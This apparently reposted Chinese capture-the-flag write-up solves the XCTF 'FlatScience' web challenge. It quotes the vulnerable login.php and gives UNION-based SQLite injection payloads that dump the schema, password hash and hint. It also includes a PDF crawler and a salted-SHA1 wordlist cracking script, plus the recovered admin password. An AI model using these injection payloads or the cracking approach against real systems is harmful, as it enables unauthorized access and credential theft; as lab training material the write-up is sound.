攻防世界 FlatScience

  • 各种here these 一个个点 url不断变化
  • 直接dirsearch扫描一些
    在这里插入图片描述- 最近做题经常做到robots.txt!!!1 访问了一下 也是给了admin.php 和 login.php
  • 访问login界面是个登录窗 访问admin界面也是登录窗 不过账号已经给你了
  • 看到登录界面难面尝试一下sql注入
    在这里插入图片描述
  • 这里我想到以前做个的一个sql注入加md5加密的题目
  • 但是这个得需要知道查询的代码
  • F12查看页面源码发现TODO: Remove ?debug-Parameter!
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
    
    
        $user = $_POST['usr'];
        $pass = $_POST['pw'];
        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
    
    
        $row = $res->fetchArray();
    }
    else{
    
    
        echo "<br>Some Error occourred!";
    }
    if(isset($row['id'])){
    
    
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}
if(isset($_GET['debug']))
highlight_file('login.php');
?> 
  • 关键的两行代码
 $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

 setcookie('name',' '.$row['name'], time() + 60, '/');
  • 所以查询的信息可以在cookie中找到
  • 这里补充sqlite数据库的知识点
  • sqlite有一个sqlite_master表(全局模式表存放本数据库所有表、视图、索引、触发器等的定义,可找到用户表的sql定义
  • ' union select name,sql from sqlite_master--
  • 结果
  • Set-Cookie: name=+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29; expires=Wed, 24-Feb-2021 11:27:33 GMT; Max-Age=60; path=/
  • 解码:CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255)); expires=Wed, 24-Feb-2021 11:27:33 GMT; Max-Age=60; path=/
  • 得到Users表 有id、name、password、hint 字段
  • ' union select name,password from Users--查询密码
  • 得到3fab54a50e770d830c0416df817567662a9dc85c
  • 应该是sha1($pass."Salz!")的结果
  • 这里可以很开心的告诉你 有的网站是可以解密
    在这里插入图片描述
  • 直接访问admin.php登录 密码就是ThinJerboa
  • 这是个非预期
  • 预期解法 在下面
  • ' union select name,hint from Users--查询hint
  • my fav word in my fav paper?!
  • 所以密码应该是在它的paper中 前两天感叹没时间练python 机会来了
  • 先爬所有的文件再说
  • 代码
import urllib.request
import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf' # 设置正则表达式匹配pdf文件
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list
    print(url)
    req = requests.get(url).text
    # 获取该页面的所有reques Response的Unicode编码内容
    re_pdf = re.findall(re1,req)
    # 用正则表达式获取该页面中的pdf文件名称
    for index in re_pdf:
        pdf_url=url + index
        pdf_list.append(pdf_url)
    # 这道题狗在 还有很多pdf文件在其他页面 所以需要去访问其他页面再去获取该页面下的pdf
    re_html = re.findall(re2,req)
    # 依次去访问所有的1/2这些页面 每次访问并获取该页面下的pdf文件
    for j in re_html:
        new_url = url+j[0:2] # 切片 将1/index.html 只取1/
        print(new_url)
        get_pdf(new_url)
    return pdf_list

def download(i,url):
    file_name =str(i)+'.pdf'
    req = requests.get(url)
    f = open(r'C:\Users\lenovo\Desktop\python\buuctf做题脚本\XCTF-FlatScience\pdf\\'+file_name,'wb')
    f.write(req.content) # content返回的是HTTP内容的二进制形式
    f.close()
    print('Sucessful to download'+' '+file_name)


    
if __name__=='__main__':
    pdf_list = get_pdf('http://111.200.241.244:41641/')
    for i in range(len(pdf_list)):
        download(i,pdf_list[i])
  • 上面是下载所有的pdf文件的代码
  • 亲测有效
    在这里插入图片描述
  • 接下来要做的就是 这个是大佬的脚本
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()
  • 运行结果就是admin账号的 passsword 登录就有flag了
  • 第二个脚本超出我能力范围了…

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/114004545